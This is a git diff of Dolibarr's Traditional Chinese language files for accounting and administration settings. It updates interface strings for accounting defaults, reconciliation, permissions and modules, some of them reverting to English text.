-ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=預設情況下,在EEC中所購買產品的會計帳戶(如果未在產品單中定義則使用) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=預設情況下,用於在EEC以外購買產品並且輸入產品的會計帳戶(如果在產品表中未定義,則使用) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=所銷售產品的預設會計科目(如果在產品表中未定義則使用) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=在歐盟所販賣產品的預設會計科目(如果在產品表中未定義則使用) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=在歐盟以外地區所販賣產品並且輸出的預設會計科目(如果在產品表中未定義則使用) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=委外服務預設會計項目(若沒在服務頁中定義時使用) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=預設情況下,在EEC中購買服務的會計帳戶(如果未在服務單中定義,則使用) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=預設情況下,用於在EEC以外購買服務並且輸入服務的會計帳戶(如果未在服務單中定義,則使用) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=服務收入預設會計項目(若沒在服務頁中定義時使用) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=在歐盟國家中服務收入預設會計項目(若沒在服務頁中定義時使用) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=在歐盟以外國家中服務收入預設會計項目(若沒在服務頁中定義時使用) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=文件類型 Docdate=日期 @@ -214,7 +220,8 @@ Codejournal=日記帳 JournalLabel=日記帳標籤 NumPiece=件數 TransactionNumShort=交易編號 -AccountingCategory=自定義群組 +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=依總分類帳帳戶的群組 GroupBySubAccountAccounting=依子分類帳帳戶的群組 AccountingAccountGroupsDesc=您可定義某些會計科目大類。他們可以在個人化會計報表中使用。 @@ -262,19 +269,20 @@ ShowSubtotalByGroup=依級別顯示小計 Pcgtype=會計項目大類 PcgtypeDesc=用作某些會計報告的預定義“過濾器”和“分組”標準的科目組。例如“ INCOME”或“ EXPENSE”用作產品的會計科目組,以建立費用/收入報告。 +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=可和解 TotalVente=稅前總周轉 TotalMarge=總銷貨淨利 -DescVentilCustomer=在此查閱客戶發票清單是否關聯到產品會計項目 -DescVentilMore=在大多數情況下,如果您使用預定義的產品或服務,並且在產品/服務卡上設定了帳號,則應用程序將能夠在發票行和會計科目表的會計科目之間進行所有綁定。點擊按鈕“ %s” 。如果未在產品/服務卡上設定帳戶,或者仍有一些行未綁定到帳戶,則必須從選單“ %s ”進行手動綁定。 -DescVentilDoneCustomer=在此查閱已開立各式發票客戶的清單及其產品會計項目 -DescVentilTodoCustomer=關聯發票沒有關聯到產品會計項目 -ChangeAccount=用以下會計項目變更產品/服務的會計項目: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=請在此處查詢綁定或尚未綁定到產品會計帳戶的供應商發票行的清單(僅顯示尚未在會計中轉移的記錄) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=請在此處查詢供應商發票行及其會計帳戶的清單 DescVentilTodoExpenseReport=關聯費用報表行數還沒準備好要關聯費用會計項目 DescVentilExpenseReport=在此查閱費用報表行數是否關聯到費用會計項目的清單 @@ -286,20 +294,21 @@ DescClosure=請在此處查詢按月排列的尚未驗證及尚未鎖定的異 OverviewOfMovementsNotValidated=未驗證和未鎖定的移動概覽 AllMovementsWereRecordedAsValidated=所有動作都被記錄為已驗證並鎖定 NotAllMovementsCouldBeRecordedAsValidated=並非所有動作都可以記錄為已驗證與已鎖定 -ValidateMovements=驗證與鎖定記錄... +ValidateMovements=Validate and lock movements... DescValidateMovements=禁止修改,刪除任何文字內容。所有條目都必須經過驗證,否則將無法結案 ValidateHistory=自動關聯 AutomaticBindingDone=自動綁定完成 (%s) - 某些記錄無法自動綁定 (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=錯誤,您不能刪除此會計項目,因為已使用 +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=平衡中 FicheVentilation=關聯卡片 GeneralLedgerIsWritten=交易已紀錄到總帳中 GeneralLedgerSomeRecordWasNotRecorded=某些交易未記錄。若沒有其他錯誤,這可能是因為已被記錄。 NoNewRecordSaved=沒有更多記錄要轉移 -ListOfProductsWithoutAccountingAccount=清單中的產品沒有指定任何會計項目 +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=修改關聯性 Accounted=計入總帳 NotYetAccounted=尚未轉入會計 @@ -325,6 +334,7 @@ AccountingJournalType4=銀行 AccountingJournalType5=費用報表 AccountingJournalType8=庫存 AccountingJournalType9=擁有-全新 +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=此日記帳已使用 AccountingAccountForSalesTaxAreDefinedInto=注意:銷項稅額的會計項目定義到選單 %s - %s NumberOfAccountancyEntries=條目數 @@ -332,10 +342,14 @@ NumberOfAccountancyMovements=移動次數 ACCOUNTING_DISABLE_BINDING_ON_SALES=停用銷售中的會計綁定和轉移(會計中不考慮客戶發票) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=停用採購中的會計綁定和轉移(會計中不考慮供應商發票) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=停用費用報表中的會計綁定和轉移(會計中不考慮費用報表) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=驗證與鎖定的日期 ConfirmExportFile=確定要產生會計匯出檔案 ? ExportDraftJournal=匯出日記帳草稿 @@ -392,7 +406,7 @@ SaleLocal=本地銷售 SaleExport=出口銷售 SaleEEC=在歐盟銷售 SaleEECWithVAT=在EEC中具有營業稅的銷售不為空,因此我們認為這不是內部銷售,建議的帳戶是標準產品帳戶。 -SaleEECWithoutVATNumber=在EEC中銷售沒有營業稅但合作方的營業稅ID未定義。我們退回標準銷售的產品帳戶。您可以根據需要修改合作方或產品帳戶的營業稅ID。 +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=禁止:交易已被驗證和/或匯出。 ForbiddenTransactionAlreadyValidated=禁止:交易已被驗證。 ## Dictionary @@ -401,7 +415,11 @@ Calculated=已計算 Formula=公式 ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=不協調 +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=未修改協調 AccountancyOneLetteringModifiedSuccessfully=一個協調成功地修改 AccountancyLetteringModifiedSuccessfully=%s 協調已成功地修改 @@ -410,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=成功地修改了一個不協調 AccountancyUnletteringModifiedSuccessfully=%s 不協調已成功地修改 ## Confirm box -ConfirmMassUnlettering=批次不協調確認 -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=批次刪除確認 ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -431,6 +450,7 @@ AccountancyErrorMismatchLetterCode=協調代碼不匹配 AccountancyErrorMismatchBalanceAmount=餘額(%s)不等於0 AccountancyErrorLetteringBookkeeping=交易發生錯誤:%s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=會計條目 @@ -457,6 +477,7 @@ FECFormatMulticurrencyCode=多國幣別代碼(Idevise) DateExport=日期輸出 WarningReportNotReliable=警告,此報表非依總帳製作的,所以不含總帳中人工修改的交易。若您日記簿是最新的日期,則記帳檢視會比較準確。 ExpenseReportJournal=費用報表日記帳 -InventoryJournal=庫存日記帳 +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s 個帳戶 diff --git a/htdocs/langs/zh_TW/admin.lang b/htdocs/langs/zh_TW/admin.lang index 752f6604a16..26c66592ff3 100644 --- a/htdocs/langs/zh_TW/admin.lang +++ b/htdocs/langs/zh_TW/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=客戶端整理 WarningModuleNotActive=模組%s必須啓用 WarningOnlyPermissionOfActivatedModules=在此顯示已啓動模組之相關權限。你可在 首頁 -> 設定 -> 模組頁上啓動其他模組。 DolibarrSetup=Dolibarr 安裝或昇級 -InternalUser=內部用戶 -ExternalUser=外部用戶 InternalUsers=內部用戶 ExternalUsers=外部用戶 UserInterface=使用者介面 @@ -147,6 +145,7 @@ Box=小工具 Boxes=小工具 MaxNbOfLinesForBoxes=小工具最大行數 AllWidgetsWereEnabled=所有可用小工具已啟用 +WidgetAvailable=Widget available PositionByDefault=預設排序 Position=位置 MenusDesc=選單管理器設定兩個選單欄的內容(水平和垂直)。 @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP / SMTPS主機(php.ini中的預設值: %s MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP / SMTPS連接埠(類Unix系統上未定義至PHP) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPS主機(類Unix系統上未定義至PHP) MAIN_MAIL_EMAIL_FROM=自動寄送至"自動寄送電子郵件"(php.ini中的預設值: %s ) +EMailHelpMsgSPFDKIM=為避免 Dolibarr 寄出的信件遭標示為垃圾信件,請務必確認該寄件伺服器已已透過設置 SPF 與 DKIM 之方式,授權此寄件者網域傳送電子郵件 MAIN_MAIL_ERRORS_TO=用於錯誤返回的電子郵件(寄送的電子郵件中的“錯誤至”字段) MAIN_MAIL_AUTOCOPY_TO= 複製(密件)所有已寄送的電子郵件至 MAIN_DISABLE_ALL_MAILS=停用所有電子郵件寄送(出於測試目的或demo) @@ -375,7 +375,7 @@ DoTestSendHTML=測試傳送HTML ErrorCantUseRazIfNoYearInMask=錯誤,若序列 {yy} 或 {yyyy} 在條件中,則不能使用 @ 以便每年重新計數。 ErrorCantUseRazInStartedYearIfNoYearMonthInMask=錯誤,若序列 {yy}{mm} 或 {yyyy}{mm} 不在遮罩內則不能使用選項 @。 UMask=在 Unix/Linux/BSD/Mac 的檔案系統中新檔案的 UMask 參數。 -UMaskExplanation=此參數允許您定義預設情況下對由Dolibarr在伺服器上建立檔案設定的權限(例如,在上傳過程中)。
      它必須是八進制值(例如,0666表示對所有人讀寫)。
      此參數在Windows伺服器上無用。 +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=在Wiki頁面上查看貢獻者及其組織的清單 UseACacheDelay= 快取匯出響應以秒為單位的延遲(0或為空表示沒有快取) DisableLinkToHelpCenter=在登入頁面上隱藏“ 需要幫助或支援"連結 @@ -439,8 +439,10 @@ Unique=唯一 Boolean=布林值 (一個勾選框) ExtrafieldPhone = 電話 ExtrafieldPrice = 價格 +ExtrafieldPriceWithCurrency=以貨幣計價 ExtrafieldMail = 電子郵件 ExtrafieldUrl = 網址 +ExtrafieldIP = IP ExtrafieldSelect = 選擇清單 ExtrafieldSelectList = 從表格選取 ExtrafieldSeparator=分隔 (非欄位) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=勾選框 ExtrafieldCheckBoxFromList=表格勾選框 ExtrafieldLink=連結到項目 ComputedFormula=計算欄位 -ComputedFormulaDesc=您可以在此處輸入使用對象的其他屬性或任何PHP編碼的公式,以獲得動態計算值。您可以使用任何與PHP兼容的公式,包括“?”條件運算符和以下全局對象: $ db,$ conf,$ langs,$ mysoc,$ user,$ object
      警告:僅$ object的某些屬性可用。如果需要一個未加載的屬性,則像第二個示例一樣,將對象自己提取到公式中。
      使用計算字段意味著您無法從界面輸入任何值。另外,如果存在語法錯誤,則公式可能不返回任何內容。

      公式示例:
      $ object-> id < 10 ? round($object-> id / 2,2):($ object-> id + 2 * $ user-> id)*(int)substr($ mysoc-> zip,1,2 )

      重新加載對象的示例
      ((($ reloadedobj = new Societe($ db))&&($ reloadedobj-> fetchNoCompute($ obj-> id?$ obj-> id:($ obj-> rowid?$ obj- > rowid:$ object-> id))> 0))嗎? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5:'-1'

      用於強制加載對象及其父對象的公式的其他示例:
      ((($ reloadedobj = new Task($ ))&&($ reloadedobj-> fetchNoCompute($ object-> id)> 0)&&($ secondloadedobj =新項目($ db))&&($ secondloadedobj-> fetchNoCompute($ reloadedobj-> fk_project)> 0))嗎? $ secondloadedobj-> ref:'未找到父項目' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=儲存已計算欄位 ComputedpersistentDesc=計算出的額外欄位將儲存在資料庫中,但是,僅當更改此欄位的項目時,才會重新計算該值。如果計算欄位依賴於其他項目或全域數據,則該值可能是錯誤的! ExtrafieldParamHelpPassword=將欄位保留為空白表示該值將不加密地儲存(欄位只能在螢幕上以星號隱藏)。
      設定“自動”以使用預設的加密規則將密碼保存到資料庫中(然後讀取的值將僅是哈希值,無法搜索原始值) @@ -477,7 +479,7 @@ InstalledInto=已安裝到 %s 資料夾 BarcodeInitForThirdparties=合作方的批次條碼初始化 BarcodeInitForProductsOrServices=批次條碼初始化或產品或服務重置 CurrentlyNWithoutBarCode=目前您在沒有條碼%s%s中有%s的記錄。 -InitEmptyBarCode=Init value for the %s empty barcodes +InitEmptyBarCode=%s空條碼的整數值 EraseAllCurrentBarCode=刪除目前全部條碼現有值 ConfirmEraseAllCurrentBarCode=您確定您要刪除目前全部條碼現有值? AllBarcodeReset=全部條碼值已刪除 @@ -501,10 +503,11 @@ WarningPHPMail=警告: 從此應用程式寄出電子郵件的設定使用的是 WarningPHPMailA=- 使用電子郵件服務提供者的伺服器可以增加您電子信箱的可信度,所以會增加寄信成功率並且不會被標記為垃圾信件 WarningPHPMailB=- 一些電子郵件服務提供商(如雅虎)不允許您從其他伺服器而不是他們自己的伺服器發送電子郵件。您當前的設定是使用程式的伺服器而不是您的電子郵件提供商的伺服器來發送電子郵件,因此某些收件人(與限制性 DMARC 協議兼容的那個)會詢問您的電子郵件提供商他們是否可以接受您的電子郵件而某些電子郵件供應商(如雅虎)可能會回答“否”,因為伺服器不是他們的,所以您發送的電子郵件中有可能少部份不被接受(還要注意您的電子郵件供應商的發送配額)。 WarningPHPMailC=- 使用您自己的電子郵件服務提供商的 SMTP 伺服器發送電子郵件也很好,因此從應用程式發送的所有電子郵件也將保存到您電子郵件的“已發送”資料夾中。 -WarningPHPMailD=此外,因此建議將電子郵件的發送方法更改為“SMTP”。如果您確實想保留預設的“PHP”方式來發送電子郵件,只需忽略此警告,或在 首頁 - 設定 - 其他設定 中將 MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP 數值設定為 1 來刪除它。 +WarningPHPMailD=在此建議您可將電子郵件寄送方式變更為“SMTP”。 +WarningPHPMailDbis=如果您確實想使用預設的“PHP”模式寄送電子郵件,請忽略此警告或是%s點我移除%s。 WarningPHPMail2=如果您的電子郵件SMTP程式需要將電子郵件客戶端限制為某些IP地址(非常罕見),則這是ERP CRM應用程式的郵件用戶代理(MUA)的IP地址: %s 。 WarningPHPMailSPF=如果您的寄件人電子郵件地址中的網域名稱受到SPF 記錄保護(詢問您的網域名稱註冊商),您必須在您的網域 DNS 的 SPF 記錄中增加以下 IP: %s 。 -ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s +ActualMailSPFRecordFound=找到的實際 SPF 記錄(Email%s):%s ClickToShowDescription=點選顯示描述 DependsOn=此模組需要此模組 RequiredBy=模組需要此模組 @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      範例:
      對於建立新合作方的表 PageUrlForDefaultValuesList=
      範例:
      對於列出合作方的頁面,它是%s
      對於安裝到自定義資料夾中的外部模組網址,請不要包含“ custom /”,因此請使用諸如mymodule / mypagelist.php之類的路徑,而不要使用custom / mymodule / mypagelist.php之類的路徑。
      如果僅在網址具有某些參數的情況下您需要預設值,則可以使用%s AlsoDefaultValuesAreEffectiveForActionCreate=另請注意,覆寫預設值以用於表單建立僅適用於正確設計的頁面(因此,使用參數action = create或presend ...) EnableDefaultValues=啟用自定義預設值 -EnableOverwriteTranslation=啟用覆寫翻譯 +EnableOverwriteTranslation=允許自定義翻譯 GoIntoTranslationMenuToChangeThis=找到了帶有此代碼的密鑰的翻譯。要更改此值,必須從首頁-設定-翻譯編輯它。 WarningSettingSortOrder=警告,如果欄位是未知欄位,則在清單頁面上設定預設的排列順序可能會導致技術錯誤。如果遇到此類錯誤,請返回此頁面以刪除預設的排列順序並恢復預設行為。 Field=欄位 @@ -643,11 +646,13 @@ Module2300Name=排程工作 Module2300Desc=排程工作管理(連到 cron 或是 chrono table) Module2400Name=事件/應辦事項 Module2400Desc=追蹤事件。記錄自動事件以進行追踪或記錄手動事件或會議。這是良好的客戶或供應商關係管理的主要模組。 +Module2430Name=日曆預約系統 +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=檔案管理系統(DMS) / 電子控制管理(ECM) Module2500Desc=文件管理系統 / 電子內容管理。您產生或是儲存的文件會自動整理組織。當您有需要就分享吧。 -Module2600Name=API/Web 服務 ( SOAP 伺服器 ) +Module2600Name=API / 網頁伺服器(SOAP 伺服器) Module2600Desc=啟用 Dolibarr SOAP 伺服器提供 API 服務 -Module2610Name=API/Web 服務( REST 伺服器) +Module2610Name=API / 網頁伺服器 (REST 伺服器) Module2610Desc=啟用 Dolibarr REST 伺服器提供 API 服務 Module2660Name=呼叫網站服務 (SOAP 客戶端) Module2660Desc=啟用Dolibarr Web服務客戶端(可用於將數據/要求傳送到外部伺服器。目前僅支援採購訂單。) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind轉換功能 Module3200Name=不可改變的檔案 Module3200Desc=啟用不可更改的商業事件日誌。事件是即時存檔的。日誌是可以匯出的鍊式事件的唯讀表格。在某些國家/地區,此模組可能是必需的。 +Module3300Name=模組產生器 +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=社群網路 Module3400Desc=啟用合作方與地址的社群網路欄位 (skype, twitter, facebook, ...). Module4000Name=人資 @@ -698,7 +705,10 @@ Module62000Name=國際貿易術語 Module62000Desc=新增功能來管理國際貿易術語 Module63000Name=資源 Module63000Desc=管理用於分配給事件的資源(印表機,汽車,房間等) -Permission11=讀取客戶發票 +Module66000Name=啟用 OAuth2 驗證 +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=收貨(s) +Permission11=查閱客戶發票(與支付) Permission12=建立/修改客戶發票 Permission13=無效的客戶發票 Permission14=驗證客戶發票 @@ -714,7 +724,7 @@ Permission27=刪除商業提案/建議書 Permission28=匯出商業提案/建議書 Permission31=讀取產品資訊 Permission32=建立/修改產品資訊 -Permission33=Read prices products +Permission33=讀取產品價格 Permission34=刪除產品 Permission36=查看/管理隱藏的產品 Permission38=匯出產品資訊 @@ -740,7 +750,7 @@ Permission79=建立/修改訂閲 Permission81=讀取客戶訂單 Permission82=建立/修改客戶訂單 Permission84=驗證客戶訂單 -Permission85=Generate the documents sales orders +Permission85=產生銷售訂單文件 Permission86=傳送客戶訂單 Permission87=關閉客戶訂單(結案) Permission88=取消客戶訂單 @@ -771,7 +781,7 @@ Permission130=建立/修改合作方支付資訊 Permission141=讀取全部專案及任務(也含我不是聯絡人的私人專案) Permission142=建立/修改全部專案及任務(也包含我不是連絡人的私人專案) Permission144=刪除全部專案及任務(也包含我不是連絡人的私人專案) -Permission145=Can enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet) +Permission145=可以為我或我的層級輸入已分配的任務所消耗的時間(時間表) Permission146=讀取提供者 Permission147=讀取統計資料 Permission151=讀取直接轉帳付款訂單 @@ -842,9 +852,9 @@ Permission286=匯出通訊錄 Permission291=讀取關稅 Permission292=設定關稅權限 Permission293=修改客戶關稅 -Permission300=讀取條碼 -Permission301=建立/修改條碼 -Permission302=刪除條碼 +Permission301=產生條碼的PDF表 +Permission304=建立/修改條碼 +Permission305=刪除條碼 Permission311=讀取服務 Permission312=分配服務/訂閱到合約 Permission331=讀取書籤 @@ -876,7 +886,7 @@ Permission525=存取借款計算器 Permission527=匯出借款 Permission531=讀取服務 Permission532=建立/修改服務 -Permission533=Read prices services +Permission533=讀取服務價格 Permission534=刪除服務 Permission536=查看/管理隱藏服務 Permission538=匯出服務 @@ -940,7 +950,7 @@ Permission1190=批准(第二次批准)採購訂單 Permission1191=匯出供應商訂單及其屬性 Permission1201=取得匯出結果 Permission1202=建立/修改匯出 -Permission1231=讀取供應商發票 +Permission1231=查閱供應商發票(與支付) Permission1232=建立/修改供應商發票 Permission1233=驗證供應商發票 Permission1234=刪除供應商發票 @@ -962,7 +972,7 @@ Permission2413=刪除其他行動(事件或任務) Permission2414=匯入其他行動/任務 Permission2501=讀取/下載文件 Permission2502=下載文件 -Permission2503=提交或刪除文件 +Permission2503=上傳或刪除文件 Permission2515=設定文件資料夾 Permission2801=在唯讀模式下使用 FTP 客戶端 (僅瀏覽及下載) Permission2802=在寫入模式下使用 FTP 客戶端 (可刪除或上傳檔案) @@ -971,13 +981,14 @@ Permission3301=產生新模組 Permission4001=讀取技能/工作/職位 Permission4002=建立/修改技能/工作/職位 Permission4003=刪除技能/工作/職位 -Permission4020=讀取評價 -Permission4021=建立/修改您的評價 -Permission4022=驗證評估 -Permission4023=刪除評價 -Permission4030=查看比較選單 +Permission4021=讀取評價(你和你的下屬) +Permission4022=建立/修改評估 +Permission4023=驗證評估 +Permission4025=刪除評價 +Permission4028=查看比較選單 Permission4031=讀取個人資訊 Permission4032=寫入個人資訊 +Permission4033=讀取所有評價(即使用戶並非您的下屬之評價) Permission10001=讀取網站內容 Permission10002=建立/修改網站內容(html和javascript內容) Permission10003=建立/修改網站內容(動態php代碼)。危險,必須留給受限開發人員使用。 @@ -1059,7 +1070,7 @@ DictionaryFormatCards=卡片格式 DictionaryFees=費用報表-費用報表行的類型 DictionarySendingMethods=出貨方式 DictionaryStaff=員工人數 -DictionaryAvailability=遲延交付 +DictionaryAvailability=交貨期 DictionaryOrderMethods=訂購方式 DictionarySource=原始提案/建議書/訂單 DictionaryAccountancyCategory=報告的個人化組別 @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=資產處置類型 TypeOfUnit=單位類型 SetupSaved=設定已儲存 SetupNotSaved=設定未儲存 +OAuthServiceConfirmDeleteTitle=刪除 OAuth條目 +OAuthServiceConfirmDeleteMessage=您確定要刪除此 OAuth 條目嗎?它的所有現存令牌也將被刪除。 +ErrorInEntryDeletion=條目刪除錯誤 +EntryDeleted=條目已刪除 BackToModuleList=返回模組清單 BackToDictionaryList=返回分類清單 TypeOfRevenueStamp=印花稅類型 @@ -1132,7 +1147,7 @@ ValueOfConstantKey=常數設置的值 ConstantIsOn= 選項%s啟用中 NbOfDays=天數 AtEndOfMonth=月底 -CurrentNext=A given day in month +CurrentNext=一個月中的某一天 Offset=Offset AlwaysActive=始終啟動 Upgrade=升級 @@ -1222,7 +1237,7 @@ SetupDescription4=  %s-> %s

      此軟體是許多模組 SetupDescription5=其他設定選單項目管理可選參數。 SetupDescriptionLink= %s - %s SetupDescription3b=用於自定義應用程式預設行為的基本參數(例如與國家/地區相關的功能)。 -SetupDescription4b=此軟體是許多模組/應用程式的套件。必須啟用和設定與您的需求相關的模組。啟用這些模組後將出現選單項目。 +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=已審計的安全性事件 NoSecurityEventsAreAduited=無已審計的安全性事件。您可以啟用從選單 %s Audit=安全事件 @@ -1238,12 +1253,13 @@ BrowserName=瀏覽器名稱 BrowserOS=瀏覽器系統 ListOfSecurityEvents=Dolibarr 安全事件清單 SecurityEventsPurged=清除安全事件 -TrackableSecurityEvents=Trackable security events +TrackableSecurityEvents=可追踪的安全事件 LogEventDesc=啟用特定安全事件的日誌記錄。通過選單%s-%s來管理日誌。警告,此功能可能會在資料庫中產生大量數據。 AreaForAdminOnly=設定參數僅可由管理員進行設定。 SystemInfoDesc=僅供系統管理員以唯讀及可見模式取得系統資訊。 SystemAreaForAdminOnly=此區域僅管理員可用。 Dolibarr用戶權限無法更改此限制。 CompanyFundationDesc=編輯您的 公司/組織 資訊。完成後,點擊頁面底部的“ %s”按鈕。 +MoreNetworksAvailableWithModule=啟用“社交網路”模組,有更多社交網路選項可使用 AccountantDesc=如果您有外部會計師/簿記員,則可以在此處編輯其資訊。 AccountantFileNumber=會計代碼 DisplayDesc=可以在此處修改影響應用程式外觀和顯示的參數。 @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=當模組%s啟用時,此檔案中的觸發 GeneratedPasswordDesc=選擇用於自動產生密碼的方法。 DictionaryDesc=插入全部參考資料。您可加入您的預設值。 ConstDesc=此頁面允許您編輯(覆蓋)其他頁面中不可用的參數。這些大多是保留的參數,僅供開發人員/進階故障排除。 